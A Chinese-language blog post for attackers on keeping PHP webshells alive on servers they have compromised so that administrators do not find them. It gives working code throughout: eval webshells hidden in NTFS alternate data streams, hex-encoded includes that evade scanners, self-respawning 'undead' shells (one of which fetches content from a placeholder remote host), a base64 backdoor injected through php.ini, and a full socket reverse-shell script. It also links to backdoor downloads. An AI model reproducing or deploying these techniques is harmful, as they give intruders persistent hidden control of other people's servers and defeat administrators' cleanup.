php后门隐藏技巧

Part 1 前言

  辛辛苦苦拿下的shell,几天没看,管理员给删了。

这篇文章是我个人小小的总结,很多方面都建立在自己理解上思考,如果你有更好的思路,各位表哥们也可以分享。

Part 2 隐藏

  隐藏的技巧很多,废话不多说直接开始。

一. attrib +s +h

  创建系统隐藏文件。

attrib +s +a +r +h  /   attrib +s +h  文件名

  查看隐藏文件

二. 利用ADS隐藏文件

  NTFS交换数据流(Alternate Data Streams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。利用ADS数据流,我们可以做很多有趣的事情。(抄的)

  1.首先创建ADS隐藏文件

在命令行,echo一个数据流进去,比如index文件是正常文件。

echo ^<?php @eval($_REQUEST[1]);?^> > index.php:shell.jpg

这样就生成了一个不可见的 index.php:shell.jpg

  可用 dir /r 命令来查看

  修改与删除

修改:

  进入文件所在目录,notepad index.php:shell.jpg

如何删除index.php:shell.jpg呢?

  直接删除index.php

  

  2. 文件包含

  我们生成了index.php:shell.jpg,可以通过包含文件的方式来使用。

<?php include('index.php:shell.jpg')?>

  还可以用上面学的隐藏include.php

  3. 免杀

隐藏了也不行兄dei,D盾一扫瞬间爆炸。

把 index.php:shell.jpg  hex编码

<?php 
$a="696E6465782E7068703A7368656C6C2E6A7067";
 // index.php:shell.jpg hex编码
$b="a";
include(PACK('H*',$$b))
?>

三. php环境变量留shell

环境变量 include_path 

  在C盘,创建 C:phppear目录,把木马文件丢上去。 

  在包含下就OK了

  

四. 不死马

运行后,会删除自身,生成一个webshell.php,管理员删除后还会生成。

<?php  
    set_time_limit(0);  
    ignore_user_abort(1);  
    unlink(__FILE__);  
    while(1){  
        file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');  
        sleep(5);  
    }

解决覆盖重写

<?php  
    set_time_limit(0);  
    ignore_user_abort(1);  
    unlink(__FILE__);  
    while(1){  
        file_put_contents('webshell.php','clear');  
        sleep(1);  
    }

或者重启web服务删掉即可。

 不死马2

<?php
function evil(){
error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);
$stop = '';
$shell="shell.php";  
$content=file_get_contents("http://xxx.com/s.txt"); 
while (1==1){if(file_exists($stop)){@unlink($stop);exit();}
else{chmod($shell, 0777);file_put_contents($shell, $content);chmod($shell, 0444);usleep(1000000);}} 
}
evil();
?>

五. php.ini后门

  将下面后门写入php.ini

allow_url_include=On
auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"
// base64 <?php @eval($_REQUEST[cmd]);?>
          // 后门类型可自己修改。      

  

  后门留好后,需要重启web服务。

方法1. 如果权限很大的话,自己手动重启,缺点容易暴露,重启服务,就要上服务器,某里的服务器,异地登陆有短信提醒。

方法2.就是加载一个php_socke.php脚本,让他重新加载php.ini

  脚本如下。这样就可以了

<?php while(true){} ?>
<?php 

/*******************************/

/*          BY 傀儡            */

/* 我是一只小弱鸡,咿呀咿呀呦~ */

/*     只适用于windows系统     */

/*******************************/


while(true){   //别问我为什么要死循环,我也不清楚,只有设置成死循环才能加载新的 php.ini ...
        @set_time_limit(0);
        $system=strtoupper(substr(PHP_OS, 0, 3));
        if(!extension_loaded('sockets'))
        {
                if($system == 'WIN'){@dl('php_sockets.dll') or die("Can't load socket");}
        }
        $host = '255.255.255.255';    //   搞一个不存在的ip,万一给人家反弹过去了岂不是真尴尬了~~~
        $port = 1998;      //别问我为什么是1998,问了我也不会告诉你....
        if($system=="WIN"){$env=array('path' => 'c:\windows\system32');}
        $descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"),);
        $host=gethostbyname($host);
        $proto=getprotobyname("tcp");
        if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");}
        if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");}
        else{
                $message=" PHP反弹连接
";
                @socket_write($sock,$message,strlen($message));
                $cwd=str_replace('\','/',dirname(__FILE__));
                while($cmd=@socket_read($sock,65535,$proto))
                {
                        if(trim(strtolower($cmd))=="exit"){
                                socket_write($sock,"Bye
"); exit;
                        }else{
                                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
                                if (is_resource($process)){
                                fwrite($pipes[0], $cmd);
                                fclose($pipes[0]);
                                $msg=stream_get_contents($pipes[1]);
                                socket_write($sock,$msg,strlen($msg));
                                fclose($pipes[1]);
                                $msg=stream_get_contents($pipes[2]);
                                socket_write($sock,$msg,strlen($msg));
                                $return_value = proc_close($process);
                                }
                        }
                }
        }
}
?>

  

  有个尴尬的是,这个脚本不太稳定,这个方法不是100%可以成功的。但是如图这个php版本测试成功。

  这个后门在任何的PHP页面都可以用菜刀连接。

六.  php backdoor 

  大牛的作品。

How to install?

后门下载,注意需要代理访问。

https://micropoor.blogspot.com/2018/05/php-all-kernel-versions-for-backdoor.html

https://micropoor.blogspot.com/2018/05/php-backdoor-for-windows.html

Part 3 后记

  可以说全面扩展开有的写了,条条大路通罗马通罗马,每个人都有自己的理解,文笔有限,就写到这里,可赞可喷。

参考:

https://www.t00ls.net/viewthread.php?tid=35053&highlight=php%2B%E5%90%8E%E9%97%A8

https://www.t00ls.net/viewthread.php?tid=44911&highlight=php%2B%E5%90%8E%E9%97%A8

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=17060

https://www.cnblogs.com/xiaozi/p/7610984.html

https://www.t00ls.net/viewthread.php?tid=38906&highlight=php.ini

原文地址:https://www.cnblogs.com/s0mf/p/9220165.html